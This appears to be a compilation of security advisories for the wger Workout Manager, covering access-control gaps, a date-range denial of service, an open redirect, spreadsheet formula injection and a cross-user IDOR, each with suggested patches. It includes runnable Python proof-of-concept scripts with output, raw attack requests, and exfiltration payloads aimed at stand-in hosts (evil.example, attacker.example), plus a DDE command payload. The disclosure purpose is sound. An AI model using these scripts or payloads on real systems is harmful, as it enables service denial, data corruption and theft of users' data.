GHSA-mhc8-p3jx-84mm explicitly identifies the affected file as wger/gym/views/user.py (which has since been removed/refactored — the comparable functions now live in wger/gym/views/{admin_notes,document,contract,gym}.py). The maintainer's recommended remediation is to "Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list".

Confirmation that the advisory fix landed only on those files (master, 2026-05-08):

| File | Authorization check | Patched? | |---|---|---| | wger/gym/views/admin_notes.py | is_same_gym(...) | ✓ | | wger/gym/views/document.py | is_same_gym(...) | ✓ | | wger/gym/views/contract.py | is_same_gym(...) | ✓ | | wger/gym/views/gym.py (reset_user_password, gym_permissions_user_edit) | is_same_gym(...) | ✓ | | wger/core/views/user.py delete (line 131) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserDeactivateView (line 405) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserActivateView (line 442) | userprofile.gym_id != ... raw != | ✗ | | wger/core/views/user.py UserEditView (line 484) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserActivityCalendarView (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView dispatch (line 552) | is_same_gym(...) | ✓ (incidentally migrated) | | wger/core/views/user.py UserDetailView.get_context_data (line 587) | gym_id == gym_id (UI flag only — trainer_login itself enforces is_same_gym) | UI leak only, no security impact |

The three unpatched call sites in wger/core/views/user.py predate the advisory and were missed when the helper-migration patch was applied. Their root cause and exploitation path are identical to CVE-2026-43948 — only the file/function targets differ. This makes the finding an incomplete-fix variant family rather than a duplicate of the advisory.

References

• Parent advisory: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm (CVE-2026-43948)
• Suggested patch from advisory text: "Apply the same same_gym() helper pattern to all five views sharing this check"
• Helper definition: wger/gym/helpers.py is_same_gym() (already correctly excludes None after the advisory patch)
• Related (incidentally patched in the same migration): UserEditView, UserActivityCalendarView, UserDetailView.dispatch — all three correctly use is_same_gym()

AI disclosure

This finding was developed with the assistance of an AI tool (Claude Code) for source-code review of the advisory's incomplete-fix surface, generation of the verification harness, and report drafting. All technical claims in this report were verified against a live wger/server:latest Docker instance with the verification log attached. The AI's role was investigative aid; the human researcher (HiyokoSauna) reviewed every claim, ran the PoC end-to-end, and authored the framing.

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:

# File: wger/manager/models/routine.py, line 151
def clean(self):
    if self.end and self.start and self.start > self.end:
        raise ValidationError('The start time cannot be after the end time.')
    # NO maximum duration check

The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.

The date_sequence property (line 256) uses an unbounded loop:

# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
    # heavy computation per day: slots, entries, configs, logs
    ...

A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

• GET /api/v2/routine/<id>/date-sequence-display/
• GET /api/v2/routine/<id>/date-sequence-gym/
• GET /api/v2/routine/<id>/structure/
• GET /api/v2/routine/<id>/logs/
• GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

• One authenticated user account
• No special permissions required

Attack Steps

# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json

{
    "name": "DoS routine",
    "start": "2000-01-01",
    "end": "2099-12-31"
}

# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json

{
    "routine": <routine_id>,
    "order": 1,
    "name": "Day A"
}

# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>

Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import time

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """
=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
    print(f"    Registering account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        token = r.json().get("token")
    if not token:
        token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not token:
        print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Token: {token[:16]}...")

headers = api_headers(token)


# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "Normal 30-day routine",
    "start": "2025-01-01",
    "end": "2025-01-31",
})
normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": normal_id, "order": 1, "name": "Day A"
})

print(f"    Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
    f"{API}/routine/{normal_id}/date-sequence-display/",
    headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f"    date-sequence-display: {r.status_code}, "
      f"{baseline_entries} entries, {baseline_time:.2f}s")


# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "DoS routine - 100 years",
    "start": "2000-01-01",
    "end": "2099-12-31",
})

if r.status_code != 201:
    print(f"    [-] Failed to create: {r.status_code} {r.text[:200]}")
    sys.exit(1)

dos_id = r.json()["id"]
print(f"    Routine id={dos_id}")
print(f"    start=2000-01-01, end=2099-12-31")
print(f"    Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": dos_id, "order": 1, "name": "DoS Day"
})


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")

print(f"\n  GET {API}/routine/{dos_id}/date-sequence-display/")
print(f"  This will iterate ~36,525 times in a while loop...")

start_time = time.time()
try:
    r = requests.get(
        f"{API}/routine/{dos_id}/date-sequence-display/",
        headers=headers,
        timeout=120,
    )
    elapsed = time.time() - start_time
    dos_entries = len(r.json()) if r.status_code == 200 else 0

    print(f"\n  Response: HTTP {r.status_code}")
    print(f"  Entries returned: {dos_entries}")
    print(f"  Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  CONNECTION LOST after {elapsed:.2f}s!")


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

print(f"\n  Baseline (30-day routine):")
print(f"    Entries: {baseline_entries}")
print(f"    Time:    {baseline_time:.2f}s")
print(f"\n  Malicious (100-year routine):")
print(f"    Entries: {dos_entries}")
print(f"    Time:    {elapsed:.2f}s")

if elapsed > baseline_time * 5 or dos_entries > 10000:
    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
    print(f"\n  Slowdown factor: {slowdown:.1f}x")
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+
""")
else:
    print("\n  Response was fast - server may have limits or caching.")

Proof of Concept Output

=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================

[1] Authenticating...
    Registering account...
    Token: 2ffbb18316fc4e0f...

[2] Creating baseline routine (30 days)...
    Routine id=5 (30 days)
    date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)...
    Routine id=6
    start=2000-01-01, end=2099-12-31
    Duration: ~36,525 days (NO validation limit!)

=================================================================
  ATTACK: Triggering date_sequence on 100-year routine
=================================================================

  GET http://localhost/api/v2/routine/6/date-sequence-display/
  This will iterate ~36,525 times in a while loop...

  Response: HTTP 200
  Entries returned: 36525
  Time elapsed: 3.06s

=================================================================
  VERIFICATION
=================================================================

  Baseline (30-day routine):
    Entries: 31
    Time:    0.02s

  Malicious (100-year routine):
    Entries: 36525
    Time:    3.06s

  Slowdown factor: 138.4x

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+

Impact

1. Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
2. Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
3. No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
4. Cache Bypass: The first request for each routine (or after ROUTINE_CACHE_TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
5. Five Affected Endpoints: date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.

Fix

1. Add maximum duration validation in the model

# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365

def clean(self):
    if self.end and self.start:
        if self.start > self.end:
            raise ValidationError('Start cannot be after end.')
        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
            raise ValidationError(
                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
            )

2. Add the same validation in the serializer

# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
    def validate(self, data):
        start = data.get('start')
        end = data.get('end')
        if start and end and (end - start).days > 365:
            raise serializers.ValidationError(
                'Routine cannot span more than 365 days.'
            )
        return data

3. Add a safety cap in date_sequence (defence-in-depth)

# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
    count += 1
    if count > MAX_SEQUENCE_DAYS:
        break
    ...

Summary

The trainer_login view in wger redirects to request.GET['next'] directly via HttpResponseRedirect() without calling url_has_allowed_host_and_scheme(). After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the ?next= parameter, enabling Referer exfiltration and phishing.

Details

File: wger/core/views/user.py, approximately line 203

# VULNERABLE - wger/core/views/user.py
if not own:
    request.session['trainer.identity'] = orig_user_pk
    if request.GET.get('next'):
        return HttpResponseRedirect(request.GET['next'])   # no host/scheme validation

After the impersonation logic succeeds, the view performs no validation of the next parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. /en/user/2/trainer-login?next=https://evil.example/steal) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The Location header contains the raw attacker-controlled URL.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login (the ?next= redirect branch)

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.utils.http import url_has_allowed_host_and_scheme
+
 if not own:
     request.session['trainer.identity'] = orig_user_pk
-    if request.GET.get('next'):
-        return HttpResponseRedirect(request.GET['next'])
+    next_url = request.GET.get('next')
+    if next_url and url_has_allowed_host_and_scheme(
+        next_url, allowed_hosts={request.get_host()}, require_https=request.is_secure()
+    ):
+        return HttpResponseRedirect(next_url)
     return HttpResponseRedirect(reverse('core:index'))

Adding @require_POST to trainer_login (see also VULN-030) moves the next parameter to the POST body where CSRF protection applies and eliminates the combined CSRF + open-redirect attack surface entirely.

PoC

Tested on wger/server:latest Docker image. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Authenticate as trainer:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trainer clicks (or is delivered) the crafted link:

GET /en/user/2/trainer-login?next=https://evil.example/steal HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 302 Found
   Location: https://evil.example/steal

Step 3 - Attacker server logs Referer:

Referer: http://target/en/user/2/trainer-login?next=https://evil.example/steal
(victim user_pk and next URL exposed)

Reproducibility: 2/2 runs.

Impact

An attacker who can deliver a crafted URL to a trainer (phishing email, malicious gym management system integration, social engineering) can redirect the trainer's browser to an attacker-controlled domain after the trainer enters impersonation mode. The redirect leaks:

• The wger URL structure (including the impersonated user's user_pk) via the browser Referer header.
• The session-rebound cookie (if the attacker page subsequently triggers an authenticated request with credentials: 'include' targeting wger, any same-site cookie without SameSite=Strict is attached).

Combined with the trainer-login scope bypass (submitted separately), this primitive allows an attacker to silently impersonate arbitrary gym=None users and then land the trainer on an attacker page for credential harvesting.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role), requires victim interaction (click), scope change (attacker's origin).

Summary

The gym member TSV export endpoint in wger writes first_name and last_name profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.

Details

File: wger/gym/views/export.py, approximately line 73

# VULNERABLE - wger/gym/views/export.py
writer.writerow([
    user.id,
    gym.name,
    user.username,
    user.email,
    user.first_name,   # written verbatim - no formula prefix sanitization
    user.last_name,    # written verbatim
    ...
])

Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their first_name to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.

Affected endpoints:

• GET /en/gym/export/users/<gym_pk> -> wger.gym.views.export (TSV download)
• Profile fields injected via profile edit endpoint (first_name/last_name)

Suggested patch:

--- a/wger/gym/views/export.py
+++ b/wger/gym/views/export.py
+FORMULA_PREFIXES = ('=', '+', '-', '@', '\t', '\r')
+
+def sanitise_cell(value):
+    """Prefix formula-triggering strings with a single-quote to neutralise."""
+    s = str(value) if value is not None else ''
+    if s and s[0] in FORMULA_PREFIXES:
+        return "'" + s
+    return s
+
 writer.writerow([
     user.id,
     gym.name,
     user.username,
     user.email,
-    user.first_name,
-    user.last_name,
+    sanitise_cell(user.first_name),
+    sanitise_cell(user.last_name),
     ...
 ])

Prepending ' to any cell value beginning with =, +, -, or @ is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply sanitise_cell to all exported user-supplied fields, or subclass csv.writer to apply the sanitization globally for future fields.

PoC

Tested on wger/server:latest Docker image. Test users: gym member (any registered user) and trainer1 (manage_gym permission).

Step 1 - Inject formula payload into profile (any gym member, including self-registered):

POST /en/user/<user_pk>/overview HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=[member_session]

first_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29

URL-decoded value: =HYPERLINK("http://attacker.example/x?p="&A1,"click")

Step 2 - Gym admin exports member list:

GET /en/gym/export/users/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer_session]

-> 200 OK
Content-Disposition: attachment; filename=User-data-gym-2-[date].csv

[... header row ...]
2	TestGym1	alice	alice@test.local	=HYPERLINK("http://attacker.example/x?p="&A1,"click")	...

Step 3 - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:

• Formula cell renders as clickable "click" hyperlink.
• On click (or on file-open with DDE-enabled Excel): browser issues GET http://attacker.example/x?p=[cell_A1_contents].
• Attacker server receives exfiltrated spreadsheet data.

Confirmed during testing: both =cmd|calc.exe!A1 (DDE) and =HYPERLINK(attacker.com) payloads appear raw in the exported TSV response body.

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

Any gym member (including self-registered users) can inject a spreadsheet formula into their own first_name or last_name. When a gym administrator with manage_gym permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:

• Data exfiltration: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via HYPERLINK or WEBSERVICE functions.
• Local code execution (legacy Excel with DDE enabled): payloads like =cmd|'/c calc.exe'!A1 execute arbitrary commands on the admin's workstation.
• Phishing: formulas can display admin-trusted text while silently redirecting on click.

Affected deployments: every wger instance that delegates manage_gym to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.

Severity: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.

This is a standalone CWE-1236 vulnerability, independent of the None != None cluster of access-control findings. The fix is a small, local sanitization helper.

Cross Site Request Forgery (CSRF) vulnerability in wger Project wger Workout Manager 2.2.0a3 allows a remote attacker to gain privileges via the user-management feature in the gym/views/gym.py, templates/gym/reset_user_password.html, templates/user/overview.html, core/views/user.py, and templates/user/preferences.html, core/forms.py components.

Cross Site Scripting vulnerability in wger Project wger Workout Manager v.2.2.0a3 allows a remote attacker to gain privileges via the license_author field in the add-ingredient function in the templates/ingredients/view.html, models/ingredients.py, and views/ingredients.py components.

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

• Two authenticated user accounts (attacker and victim)
• The attacker knows (or can enumerate) the victim's SlotEntry ID
• The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json

{
    "routine": <attacker_routine_id>,
    "slot_entry": <victim_slot_entry_id>,
    "exercise": <any_valid_exercise_id>,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2  <-- TARGET

[3] Creating attacker's own routine...
    Attacker routine id=4

=================================================================
  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================

  POST http://localhost/api/v2/workoutlog/
    routine    = 4  (attacker's own -> passes check)
    slot_entry = 2  (VICTIM's -> NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2  <- VICTIM's SlotEntry!
    routine    = 4  <- attacker's routine
    weight     = 999.00
    reps       = 999.00

=================================================================
  VERIFICATION
=================================================================

  GET /api/v2/routine/3/date-sequence-display/
  (as victim - this endpoint consumes the injected logs)
  HTTP 200
  Returned 31 day(s) of data

  Victim's own /api/v2/workoutlog/ shows 0 log(s)
  (The injected log is owned by attacker, so it does NOT appear
   in victim's list view - but it IS attached to victim's SlotEntry
   and WILL corrupt victim's progression calculations.)

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

